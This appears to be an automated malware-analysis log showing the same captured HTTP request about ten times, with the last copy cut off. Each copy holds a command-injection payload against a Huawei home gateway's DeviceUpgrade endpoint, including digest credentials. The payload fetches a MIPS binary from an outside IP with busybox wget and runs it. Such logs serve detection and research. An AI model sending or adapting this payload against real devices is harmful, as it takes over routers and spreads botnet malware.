Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 